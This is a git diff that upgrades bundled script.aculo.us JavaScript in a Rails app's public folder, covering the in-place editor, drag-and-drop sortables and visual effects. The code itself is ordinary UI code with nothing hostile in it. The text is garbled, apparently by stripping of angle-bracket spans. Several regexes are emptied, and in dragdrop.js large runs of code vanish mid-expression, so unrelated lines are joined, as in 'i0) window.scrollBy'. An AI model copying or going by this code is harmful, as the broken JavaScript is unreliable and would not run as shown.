"-inplaceeditor"; + if ($(this.options.formId)) { + // there's already a form with that name, don't specify an id + this.options.formId = null; + } + } + + if (this.options.externalControl) { + this.options.externalControl = $(this.options.externalControl); + } + + this.originalBackground = Element.getStyle(this.element, 'background-color'); + if (!this.originalBackground) { + this.originalBackground = "transparent"; + } + + this.element.title = this.options.clickToEditText; + + this.onclickListener = this.enterEditMode.bindAsEventListener(this); + this.mouseoverListener = this.enterHover.bindAsEventListener(this); + this.mouseoutListener = this.leaveHover.bindAsEventListener(this); + Event.observe(this.element, 'click', this.onclickListener); + Event.observe(this.element, 'mouseover', this.mouseoverListener); + Event.observe(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.observe(this.options.externalControl, 'click', this.onclickListener); + Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + }, + enterEditMode: function() { + if (this.saving) return; + if (this.editing) return; + this.editing = true; + this.onEnterEditMode(); + if (this.options.externalControl) { + Element.hide(this.options.externalControl); + } + Element.hide(this.element); + this.createForm(); + this.element.parentNode.insertBefore(this.form, this.element); + Field.focus(this.editField); + // stop the event to avoid a page refresh in Safari + if (arguments.length > 1) { + Event.stop(arguments[0]); + } + }, + createForm: function() { + this.form = document.createElement("form"); + this.form.id = this.options.formId; + Element.addClassName(this.form, this.options.formClassName) + this.form.onsubmit = this.onSubmit.bind(this); + + this.createEditField(); + + if (this.options.textarea) { + var br = document.createElement("br"); + this.form.appendChild(br); + } + + okButton = document.createElement("input"); + okButton.type = "submit"; + okButton.value = this.options.okText; + this.form.appendChild(okButton); + + cancelLink = document.createElement("a"); + cancelLink.href = "#"; + cancelLink.appendChild(document.createTextNode(this.options.cancelText)); + cancelLink.onclick = this.onclickCancel.bind(this); + this.form.appendChild(cancelLink); + }, + hasHTMLLineBreaks: function(string) { + if (!this.options.handleLineBreaks) return false; + return string.match(/
    /i); + }, + convertHTMLLineBreaks: function(string) { + return string.replace(/
    /gi, "\n").replace(//gi, "\n").replace(/<\/p>/gi, "\n").replace(/

    /gi, ""); + }, + createEditField: function() { + var text; + if(this.options.loadTextURL) { + text = this.options.loadingText; + } else { + text = this.getText(); + } + + if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) { + this.options.textarea = false; + var textField = document.createElement("input"); + textField.type = "text"; + textField.name = "value"; + textField.value = text; + textField.style.backgroundColor = this.options.highlightcolor; + var size = this.options.size || this.options.cols || 0; + if (size != 0) textField.size = size; + this.editField = textField; + } else { + this.options.textarea = true; + var textArea = document.createElement("textarea"); + textArea.name = "value"; + textArea.value = this.convertHTMLLineBreaks(text); + textArea.rows = this.options.rows; + textArea.cols = this.options.cols || 40; + this.editField = textArea; + } + + if(this.options.loadTextURL) { + this.loadExternalText(); + } + this.form.appendChild(this.editField); + }, + getText: function() { + return this.element.innerHTML; + }, + loadExternalText: function() { + Element.addClassName(this.form, this.options.loadingClassName); + this.editField.disabled = true; + new Ajax.Request( + this.options.loadTextURL, + Object.extend({ + asynchronous: true, + onComplete: this.onLoadedExternalText.bind(this) + }, this.options.ajaxOptions) + ); + }, + onLoadedExternalText: function(transport) { + Element.removeClassName(this.form, this.options.loadingClassName); + this.editField.disabled = false; + this.editField.value = transport.responseText.stripTags(); + }, + onclickCancel: function() { + this.onComplete(); + this.leaveEditMode(); + return false; + }, + onFailure: function(transport) { + this.options.onFailure(transport); + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + this.oldInnerHTML = null; + } + return false; + }, + onSubmit: function() { + // onLoading resets these so we need to save them away for the Ajax call + var form = this.form; + var value = this.editField.value; + + // do this first, sometimes the ajax call returns before we get a chance to switch on Saving... + // which means this will actually switch on Saving... *after* we've left edit mode causing Saving... + // to be displayed indefinitely + this.onLoading(); + + new Ajax.Updater( + { + success: this.element, + // don't update on failure (this could be an option) + failure: null + }, + this.url, + Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this) + }, this.options.ajaxOptions) + ); + // stop the event to avoid a page refresh in Safari + if (arguments.length > 1) { + Event.stop(arguments[0]); + } + return false; + }, + onLoading: function() { + this.saving = true; + this.removeForm(); + this.leaveHover(); + this.showSaving(); + }, + showSaving: function() { + this.oldInnerHTML = this.element.innerHTML; + this.element.innerHTML = this.options.savingText; + Element.addClassName(this.element, this.options.savingClassName); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + }, + removeForm: function() { + if(this.form) { + if (this.form.parentNode) Element.remove(this.form); + this.form = null; + } + }, + enterHover: function() { + if (this.saving) return; + this.element.style.backgroundColor = this.options.highlightcolor; + if (this.effect) { + this.effect.cancel(); + } + Element.addClassName(this.element, this.options.hoverClassName) + }, + leaveHover: function() { + if (this.options.backgroundColor) { + this.element.style.backgroundColor = this.oldBackground; + } + Element.removeClassName(this.element, this.options.hoverClassName) + if (this.saving) return; + this.effect = new Effect.Highlight(this.element, { + startcolor: this.options.highlightcolor, + endcolor: this.options.highlightendcolor, + restorecolor: this.originalBackground + }); + }, + leaveEditMode: function() { + Element.removeClassName(this.element, this.options.savingClassName); + this.removeForm(); + this.leaveHover(); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + if (this.options.externalControl) { + Element.show(this.options.externalControl); + } + this.editing = false; + this.saving = false; + this.oldInnerHTML = null; + this.onLeaveEditMode(); + }, + onComplete: function(transport) { + this.leaveEditMode(); + this.options.onComplete.bind(this)(transport, this.element); + }, + onEnterEditMode: function() {}, + onLeaveEditMode: function() {}, + dispose: function() { + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + } + this.leaveEditMode(); + Event.stopObserving(this.element, 'click', this.onclickListener); + Event.stopObserving(this.element, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.stopObserving(this.options.externalControl, 'click', this.onclickListener); + Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + } +}; \ No newline at end of file diff --git a/public/javascripts/dragdrop.js b/public/javascripts/dragdrop.js index c0fd1d1e..c676e6f1 100644 --- a/public/javascripts/dragdrop.js +++ b/public/javascripts/dragdrop.js @@ -1,537 +1,516 @@ -// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) -// -// Element.Class part Copyright (c) 2005 by Rick Olson -// -// Permission is hereby granted, free of charge, to any person obtaining -// a copy of this software and associated documentation files (the -// "Software"), to deal in the Software without restriction, including -// without limitation the rights to use, copy, modify, merge, publish, -// distribute, sublicense, and/or sell copies of the Software, and to -// permit persons to whom the Software is furnished to do so, subject to -// the following conditions: -// -// The above copyright notice and this permission notice shall be -// included in all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -Element.Class = { - // Element.toggleClass(element, className) toggles the class being on/off - // Element.toggleClass(element, className1, className2) toggles between both classes, - // defaulting to className1 if neither exist - toggle: function(element, className) { - if(Element.Class.has(element, className)) { - Element.Class.remove(element, className); - if(arguments.length == 3) Element.Class.add(element, arguments[2]); - } else { - Element.Class.add(element, className); - if(arguments.length == 3) Element.Class.remove(element, arguments[2]); - } - }, - - // gets space-delimited classnames of an element as an array - get: function(element) { - element = $(element); - return element.className.split(' '); - }, - - // functions adapted from original functions by Gavin Kistner - remove: function(element) { - element = $(element); - var regEx; - for(var i = 1; i < arguments.length; i++) { - regEx = new RegExp("^" + arguments[i] + "\\b\\s*|\\s*\\b" + arguments[i] + "\\b", 'g'); - element.className = element.className.replace(regEx, '') - } - }, - - add: function(element) { - element = $(element); - for(var i = 1; i < arguments.length; i++) { - Element.Class.remove(element, arguments[i]); - element.className += (element.className.length > 0 ? ' ' : '') + arguments[i]; - } - }, - - // returns true if all given classes exist in said element - has: function(element) { - element = $(element); - if(!element || !element.className) return false; - var regEx; - for(var i = 1; i < arguments.length; i++) { - regEx = new RegExp("\\b" + arguments[i] + "\\b"); - if(!regEx.test(element.className)) return false; - } - return true; - }, - - // expects arrays of strings and/or strings as optional paramters - // Element.Class.has_any(element, ['classA','classB','classC'], 'classD') - has_any: function(element) { - element = $(element); - if(!element || !element.className) return false; - var regEx; - for(var i = 1; i < arguments.length; i++) { - if((typeof arguments[i] == 'object') && - (arguments[i].constructor == Array)) { - for(var j = 0; j < arguments[i].length; j++) { - regEx = new RegExp("\\b" + arguments[i][j] + "\\b"); - if(regEx.test(element.className)) return true; - } - } else { - regEx = new RegExp("\\b" + arguments[i] + "\\b"); - if(regEx.test(element.className)) return true; - } - } - return false; - }, - - childrenWith: function(element, className) { - var children = $(element).getElementsByTagName('*'); - var elements = new Array(); - - for (var i = 0; i < children.length; i++) { - if (Element.Class.has(children[i], className)) { - elements.push(children[i]); - break; - } - } - - return elements; - } -} - -/*--------------------------------------------------------------------------*/ - -var Droppables = { - drops: false, - - remove: function(element) { - for(var i = 0; i < this.drops.length; i++) - if(this.drops[i].element == element) - this.drops.splice(i,1); - }, - - add: function(element) { - var element = $(element); - var options = Object.extend({ - greedy: true, - hoverclass: null - }, arguments[1] || {}); - - // cache containers - if(options.containment) { - options._containers = new Array(); - var containment = options.containment; - if((typeof containment == 'object') && - (containment.constructor == Array)) { - for(var i=0; i0) window.scrollBy(0,0); - - Event.stop(event); - } - } -} - -/*--------------------------------------------------------------------------*/ - -SortableObserver = Class.create(); -SortableObserver.prototype = { - initialize: function(element, observer) { - this.element = $(element); - this.observer = observer; - this.lastValue = Sortable.serialize(this.element); - }, - onStart: function() { - this.lastValue = Sortable.serialize(this.element); - }, - onEnd: function() { - if(this.lastValue != Sortable.serialize(this.element)) - this.observer(this.element) - } -} - -Sortable = { - sortables: new Array(), - options: function(element){ - var element = $(element); - for(var i=0;i0.5) { - if(dropon.previousSibling != element) { - var oldParentNode = element.parentNode; - element.style.visibility = "hidden"; // fix gecko rendering - dropon.parentNode.insertBefore(element, dropon); - if(dropon.parentNode!=oldParentNode && oldParentNode.sortable) - oldParentNode.sortable.onChange(element); - if(dropon.parentNode.sortable) - dropon.parentNode.sortable.onChange(element); - } - } else { - var nextElement = dropon.nextSibling || null; - if(nextElement != element) { - var oldParentNode = element.parentNode; - element.style.visibility = "hidden"; // fix gecko rendering - dropon.parentNode.insertBefore(element, nextElement); - if(dropon.parentNode!=oldParentNode && oldParentNode.sortable) - oldParentNode.sortable.onChange(element); - if(dropon.parentNode.sortable) - dropon.parentNode.sortable.onChange(element); - } - } - } - } - - // fix for gecko engine - Element.cleanWhitespace(element); - - options.draggables = []; - options.droppables = []; - - // make it so - var elements = element.childNodes; - for (var i = 0; i < elements.length; i++) - if(elements[i].tagName && elements[i].tagName==options.tag.toUpperCase() && - (!options.only || (Element.Class.has(elements[i], options.only)))) { - - // handles are per-draggable - var handle = options.handle ? - Element.Class.childrenWith(elements[i], options.handle)[0] : elements[i]; - - options.draggables.push(new Draggable(elements[i], Object.extend(options_for_draggable, { handle: handle }))); - - Droppables.add(elements[i], options_for_droppable); - options.droppables.push(elements[i]); - - } - - // keep reference - this.sortables.push(options); - - // for onupdate - Draggables.addObserver(new SortableObserver(element, options.onUpdate)); - - }, - serialize: function(element) { - var element = $(element); - var sortableOptions = this.options(element); - var options = Object.extend({ - tag: sortableOptions.tag, - only: sortableOptions.only, - name: element.id - }, arguments[1] || {}); - - var items = $(element).childNodes; - var queryComponents = new Array(); - - for(var i=0; i0) window.scrollBy(0,0); + + Event.stop(event); + } + } +} + +/*--------------------------------------------------------------------------*/ + +var SortableObserver = Class.create(); +SortableObserver.prototype = { + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + onEnd: function() { + Sortable.unmark(); + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +} + +var Sortable = { + sortables: new Array(), + options: function(element){ + element = $(element); + return this.sortables.detect(function(s) { return s.element == element }); + }, + destroy: function(element){ + element = $(element); + this.sortables.findAll(function(s) { return s.element == element }).each(function(s){ + Draggables.removeObserver(s.element); + s.droppables.each(function(d){ Droppables.remove(d) }); + s.draggables.invoke('destroy'); + }); + this.sortables = this.sortables.reject(function(s) { return s.element == element }); + }, + create: function(element) { + element = $(element); + var options = Object.extend({ + element: element, + tag: 'li', // assumes li children, override with tag: 'tagname' + dropOnEmpty: false, + tree: false, // fixme: unimplemented + overlap: 'vertical', // one of 'vertical', 'horizontal' + constraint: 'vertical', // one of 'vertical', 'horizontal', false + containment: element, // also takes array of elements (or id's); or false + handle: false, // or a CSS class + only: false, + hoverclass: null, + ghosting: false, + format: null, + onChange: function() {}, + onUpdate: function() {} + }, arguments[1] || {}); + + // clear any old sortable with same element + this.destroy(element); + + // build options for the draggables + var options_for_draggable = { + revert: true, + ghosting: options.ghosting, + constraint: options.constraint, + handle: options.handle }; + + if(options.starteffect) + options_for_draggable.starteffect = options.starteffect; + + if(options.reverteffect) + options_for_draggable.reverteffect = options.reverteffect; + else + if(options.ghosting) options_for_draggable.reverteffect = function(element) { + element.style.top = 0; + element.style.left = 0; + }; + + if(options.endeffect) + options_for_draggable.endeffect = options.endeffect; + + if(options.zindex) + options_for_draggable.zindex = options.zindex; + + // build options for the droppables + var options_for_droppable = { + overlap: options.overlap, + containment: options.containment, + hoverclass: options.hoverclass, + onHover: Sortable.onHover, + greedy: !options.dropOnEmpty + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // make it so + + // drop on empty handling + if(options.dropOnEmpty) { + Droppables.add(element, + {containment: options.containment, onHover: Sortable.onEmptyHover, greedy: false}); + options.droppables.push(element); + } + + (this.findElements(element, options) || []).each( function(e) { + // handles are per-draggable + var handle = options.handle ? + Element.Class.childrenWith(e, options.handle)[0] : e; + options.draggables.push( + new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); + Droppables.add(e, options_for_droppable); + options.droppables.push(e); + }); + + // keep reference + this.sortables.push(options); + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + + // return all suitable-for-sortable elements in a guaranteed order + findElements: function(element, options) { + if(!element.hasChildNodes()) return null; + var elements = []; + $A(element.childNodes).each( function(e) { + if(e.tagName && e.tagName==options.tag.toUpperCase() && + (!options.only || (Element.Class.has(e, options.only)))) + elements.push(e); + if(options.tree) { + var grandchildren = this.findElements(e, options); + if(grandchildren) elements.push(grandchildren); + } + }); + + return (elements.length>0 ? elements.flatten() : null); + }, + + onHover: function(element, dropon, overlap) { + if(overlap>0.5) { + Sortable.mark(dropon, 'before'); + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } else { + Sortable.mark(dropon, 'after'); + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } + }, + + onEmptyHover: function(element, dropon) { + if(element.parentNode!=dropon) { + dropon.appendChild(element); + } + }, + + unmark: function() { + if(Sortable._marker) Element.hide(Sortable._marker); + }, + + mark: function(dropon, position) { + // mark on ghosting only + var sortable = Sortable.options(dropon.parentNode); + if(sortable && !sortable.ghosting) return; + + if(!Sortable._marker) { + Sortable._marker = $('dropmarker') || document.createElement('DIV'); + Element.hide(Sortable._marker); + Element.Class.add(Sortable._marker, 'dropmarker'); + Sortable._marker.style.position = 'absolute'; + document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); + } + var offsets = Position.cumulativeOffset(dropon); + Sortable._marker.style.top = offsets[1] + 'px'; + if(position=='after') Sortable._marker.style.top = (offsets[1]+dropon.clientHeight) + 'px'; + Sortable._marker.style.left = offsets[0] + 'px'; + Element.show(Sortable._marker); + }, + + serialize: function(element) { + element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + only: sortableOptions.only, + name: element.id, + format: sortableOptions.format || /^[^_]*_(.*)$/ + }, arguments[1] || {}); + return $(this.findElements(element, options) || []).collect( function(item) { + return (encodeURIComponent(options.name) + "[]=" + + encodeURIComponent(item.id.match(options.format) ? item.id.match(options.format)[1] : '')); + }).join("&"); + } +} \ No newline at end of file diff --git a/public/javascripts/effects.js b/public/javascripts/effects.js index a8735f50..760f25e7 100644 --- a/public/javascripts/effects.js +++ b/public/javascripts/effects.js @@ -1,612 +1,1101 @@ -// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) -// -// Parts (c) 2005 Justin Palmer (http://encytemedia.com/) -// Parts (c) 2005 Mark Pilgrim (http://diveintomark.org/) -// -// Permission is hereby granted, free of charge, to any person obtaining -// a copy of this software and associated documentation files (the -// "Software"), to deal in the Software without restriction, including -// without limitation the rights to use, copy, modify, merge, publish, -// distribute, sublicense, and/or sell copies of the Software, and to -// permit persons to whom the Software is furnished to do so, subject to -// the following conditions: -// -// The above copyright notice and this permission notice shall be -// included in all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - - -Effect = {} -Effect2 = Effect; // deprecated - -/* ------------- transitions ------------- */ - -Effect.Transitions = {} - -Effect.Transitions.linear = function(pos) { - return pos; -} -Effect.Transitions.sinoidal = function(pos) { - return (-Math.cos(pos*Math.PI)/2) + 0.5; -} -Effect.Transitions.reverse = function(pos) { - return 1-pos; -} -Effect.Transitions.flicker = function(pos) { - return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random(0.25); -} -Effect.Transitions.wobble = function(pos) { - return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; -} -Effect.Transitions.pulse = function(pos) { - return (Math.floor(pos*10) % 2 == 0 ? - (pos*10-Math.floor(pos*10)) : 1-(pos*10-Math.floor(pos*10))); -} -Effect.Transitions.none = function(pos) { - return 0; -} -Effect.Transitions.full = function(pos) { - return 1; -} - -/* ------------- element ext -------------- */ - -Element.makePositioned = function(element) { - element = $(element); - if(element.style.position == "") - element.style.position = "relative"; -} - -Element.makeClipping = function(element) { - element = $(element); - element._overflow = element.style.overflow || 'visible'; - if(element._overflow!='hidden') element.style.overflow = 'hidden'; -} - -Element.undoClipping = function(element) { - element = $(element); - if(element._overflow!='hidden') element.style.overflow = element._overflow; -} - -/* ------------- core effects ------------- */ - -Effect.Base = function() {}; -Effect.Base.prototype = { - setOptions: function(options) { - this.options = Object.extend({ - transition: Effect.Transitions.sinoidal, - duration: 1.0, // seconds - fps: 25.0, // max. 100fps - sync: false, // true for combining - from: 0.0, - to: 1.0 - }, options || {}); - }, - start: function(options) { - this.setOptions(options || {}); - this.currentFrame = 0; - this.startOn = new Date().getTime(); - this.finishOn = this.startOn + (this.options.duration*1000); - if(this.options.beforeStart) this.options.beforeStart(this); - if(!this.options.sync) this.loop(); - }, - loop: function() { - var timePos = new Date().getTime(); - if(timePos >= this.finishOn) { - this.render(this.options.to); - if(this.finish) this.finish(); - if(this.options.afterFinish) this.options.afterFinish(this); - return; - } - var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); - var frame = Math.round(pos * this.options.fps * this.options.duration); - if(frame > this.currentFrame) { - this.render(pos); - this.currentFrame = frame; - } - this.timeout = setTimeout(this.loop.bind(this), 10); - }, - render: function(pos) { - if(this.options.transition) pos = this.options.transition(pos); - pos *= (this.options.to-this.options.from); - pos += this.options.from; - if(this.options.beforeUpdate) this.options.beforeUpdate(this); - if(this.update) this.update(pos); - if(this.options.afterUpdate) this.options.afterUpdate(this); - }, - cancel: function() { - if(this.timeout) clearTimeout(this.timeout); - } -} - -Effect.Parallel = Class.create(); -Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { - initialize: function(effects) { - this.effects = effects || []; - this.start(arguments[1]); - }, - update: function(position) { - for (var i = 0; i < this.effects.length; i++) - this.effects[i].render(position); - }, - finish: function(position) { - for (var i = 0; i < this.effects.length; i++) - if(this.effects[i].finish) this.effects[i].finish(position); - } -}); - -// Internet Explorer caveat: works only on elements the have -// a 'layout', meaning having a given width or height. -// There is no way to safely set this automatically. -Effect.Opacity = Class.create(); -Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - options = Object.extend({ - from: 0.0, - to: 1.0 - }, arguments[1] || {}); - this.start(options); - }, - update: function(position) { - this.setOpacity(position); - }, - setOpacity: function(opacity) { - opacity = (opacity == 1) ? 0.99999 : opacity; - this.element.style.opacity = opacity; - this.element.style.filter = "alpha(opacity:"+opacity*100+")"; - } -}); - -Effect.MoveBy = Class.create(); -Object.extend(Object.extend(Effect.MoveBy.prototype, Effect.Base.prototype), { - initialize: function(element, toTop, toLeft) { - this.element = $(element); - this.originalTop = parseFloat(this.element.style.top || '0'); - this.originalLeft = parseFloat(this.element.style.left || '0'); - this.toTop = toTop; - this.toLeft = toLeft; - Element.makePositioned(this.element); - this.start(arguments[3]); - }, - update: function(position) { - topd = this.toTop * position + this.originalTop; - leftd = this.toLeft * position + this.originalLeft; - this.setPosition(topd, leftd); - }, - setPosition: function(topd, leftd) { - this.element.style.top = topd + "px"; - this.element.style.left = leftd + "px"; - } -}); - -Effect.Scale = Class.create(); -Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { - initialize: function(element, percent) { - this.element = $(element) - options = Object.extend({ - scaleX: true, - scaleY: true, - scaleContent: true, - scaleFromCenter: false, - scaleMode: 'box', // 'box' or 'contents' or {} with provided values - scaleFrom: 100.0 - }, arguments[2] || {}); - this.originalTop = this.element.offsetTop; - this.originalLeft = this.element.offsetLeft; - if(this.element.style.fontSize=="") this.sizeEm = 1.0; - if(this.element.style.fontSize && this.element.style.fontSize.indexOf("em")>0) - this.sizeEm = parseFloat(this.element.style.fontSize); - this.factor = (percent/100.0) - (options.scaleFrom/100.0); - if(options.scaleMode=='box') { - this.originalHeight = this.element.clientHeight; - this.originalWidth = this.element.clientWidth; - } else - if(options.scaleMode=='contents') { - this.originalHeight = this.element.scrollHeight; - this.originalWidth = this.element.scrollWidth; - } else { - this.originalHeight = options.scaleMode.originalHeight; - this.originalWidth = options.scaleMode.originalWidth; - } - this.start(options); - }, - - update: function(position) { - currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); - if(this.options.scaleContent && this.sizeEm) - this.element.style.fontSize = this.sizeEm*currentScale + "em"; - this.setDimensions( - this.originalWidth * currentScale, - this.originalHeight * currentScale); - }, - - setDimensions: function(width, height) { - if(this.options.scaleX) this.element.style.width = width + 'px'; - if(this.options.scaleY) this.element.style.height = height + 'px'; - if(this.options.scaleFromCenter) { - topd = (height - this.originalHeight)/2; - leftd = (width - this.originalWidth)/2; - if(this.element.style.position=='absolute') { - if(this.options.scaleY) this.element.style.top = this.originalTop-topd + "px"; - if(this.options.scaleX) this.element.style.left = this.originalLeft-leftd + "px"; - } else { - if(this.options.scaleY) this.element.style.top = -topd + "px"; - if(this.options.scaleX) this.element.style.left = -leftd + "px"; - } - } - } -}); - -Effect.Highlight = Class.create(); -Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - - // try to parse current background color as default for endcolor - // browser stores this as: "rgb(255, 255, 255)", convert to "#ffffff" format - var endcolor = "#ffffff"; - var current = this.element.style.backgroundColor; - if(current && current.slice(0,4) == "rgb(") { - endcolor = "#"; - var cols = current.slice(4,current.length-1).split(','); - var i=0; do { endcolor += parseInt(cols[i]).toColorPart() } while (++i<3); } - - var options = Object.extend({ - startcolor: "#ffff99", - endcolor: endcolor, - restorecolor: current - }, arguments[1] || {}); - - // init color calculations - this.colors_base = [ - parseInt(options.startcolor.slice(1,3),16), - parseInt(options.startcolor.slice(3,5),16), - parseInt(options.startcolor.slice(5),16) ]; - this.colors_delta = [ - parseInt(options.endcolor.slice(1,3),16)-this.colors_base[0], - parseInt(options.endcolor.slice(3,5),16)-this.colors_base[1], - parseInt(options.endcolor.slice(5),16)-this.colors_base[2] ]; - - this.start(options); - }, - update: function(position) { - var colors = [ - Math.round(this.colors_base[0]+(this.colors_delta[0]*position)), - Math.round(this.colors_base[1]+(this.colors_delta[1]*position)), - Math.round(this.colors_base[2]+(this.colors_delta[2]*position)) ]; - this.element.style.backgroundColor = "#" + - colors[0].toColorPart() + colors[1].toColorPart() + colors[2].toColorPart(); - }, - finish: function() { - this.element.style.backgroundColor = this.options.restorecolor; - } -}); - -Effect.ScrollTo = Class.create(); -Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - Position.prepare(); - var offsets = Position.cumulativeOffset(this.element); - var max = window.innerHeight ? - window.height - window.innerHeight : - document.body.scrollHeight - - (document.documentElement.clientHeight ? - document.documentElement.clientHeight : document.body.clientHeight); - this.scrollStart = Position.deltaY; - this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; - this.start(arguments[1] || {}); - }, - update: function(position) { - Position.prepare(); - window.scrollTo(Position.deltaX, - this.scrollStart + (position*this.delta)); - } -}); - -/* ------------- prepackaged effects ------------- */ - -Effect.Fade = function(element) { - options = Object.extend({ - from: 1.0, - to: 0.0, - afterFinish: function(effect) - { Element.hide(effect.element); - effect.setOpacity(1); } - }, arguments[1] || {}); - new Effect.Opacity(element,options); -} - -Effect.Appear = function(element) { - options = Object.extend({ - from: 0.0, - to: 1.0, - beforeStart: function(effect) - { effect.setOpacity(0); - Element.show(effect.element); }, - afterUpdate: function(effect) - { Element.show(effect.element); } - }, arguments[1] || {}); - new Effect.Opacity(element,options); -} - -Effect.Puff = function(element) { - new Effect.Parallel( - [ new Effect.Scale(element, 200, { sync: true, scaleFromCenter: true }), - new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0 } ) ], - { duration: 1.0, - afterUpdate: function(effect) - { effect.effects[0].element.style.position = 'absolute'; }, - afterFinish: function(effect) - { Element.hide(effect.effects[0].element); } - } - ); -} - -Effect.BlindUp = function(element) { - Element.makeClipping(element); - new Effect.Scale(element, 0, - Object.extend({ scaleContent: false, - scaleX: false, - afterFinish: function(effect) - { - Element.hide(effect.element); - Element.undoClipping(effect.element); - } - }, arguments[1] || {}) - ); -} - -Effect.BlindDown = function(element) { - $(element).style.height = '0px'; - Element.makeClipping(element); - Element.show(element); - new Effect.Scale(element, 100, - Object.extend({ scaleContent: false, - scaleX: false, - scaleMode: 'contents', - scaleFrom: 0, - afterFinish: function(effect) { - Element.undoClipping(effect.element); - } - }, arguments[1] || {}) - ); -} - -Effect.SwitchOff = function(element) { - new Effect.Appear(element, - { duration: 0.4, - transition: Effect.Transitions.flicker, - afterFinish: function(effect) - { effect.element.style.overflow = 'hidden'; - new Effect.Scale(effect.element, 1, - { duration: 0.3, scaleFromCenter: true, - scaleX: false, scaleContent: false, - afterUpdate: function(effect) { - if(effect.element.style.position=="") - effect.element.style.position = 'relative'; }, - afterFinish: function(effect) { Element.hide(effect.element); } - } ) - } - } ); -} - -Effect.DropOut = function(element) { - new Effect.Parallel( - [ new Effect.MoveBy(element, 100, 0, { sync: true }), - new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0 } ) ], - { duration: 0.5, - afterFinish: function(effect) - { Element.hide(effect.effects[0].element); } - }); -} - -Effect.Shake = function(element) { - new Effect.MoveBy(element, 0, 20, - { duration: 0.05, afterFinish: function(effect) { - new Effect.MoveBy(effect.element, 0, -40, - { duration: 0.1, afterFinish: function(effect) { - new Effect.MoveBy(effect.element, 0, 40, - { duration: 0.1, afterFinish: function(effect) { - new Effect.MoveBy(effect.element, 0, -40, - { duration: 0.1, afterFinish: function(effect) { - new Effect.MoveBy(effect.element, 0, 40, - { duration: 0.1, afterFinish: function(effect) { - new Effect.MoveBy(effect.element, 0, -20, - { duration: 0.05, afterFinish: function(effect) { - }}) }}) }}) }}) }}) }}); -} - -Effect.SlideDown = function(element) { - element = $(element); - element.style.height = '0px'; - Element.makeClipping(element); - Element.cleanWhitespace(element); - Element.makePositioned(element.firstChild); - Element.show(element); - new Effect.Scale(element, 100, - Object.extend({ scaleContent: false, - scaleX: false, - scaleMode: 'contents', - scaleFrom: 0, - afterUpdate: function(effect) - { 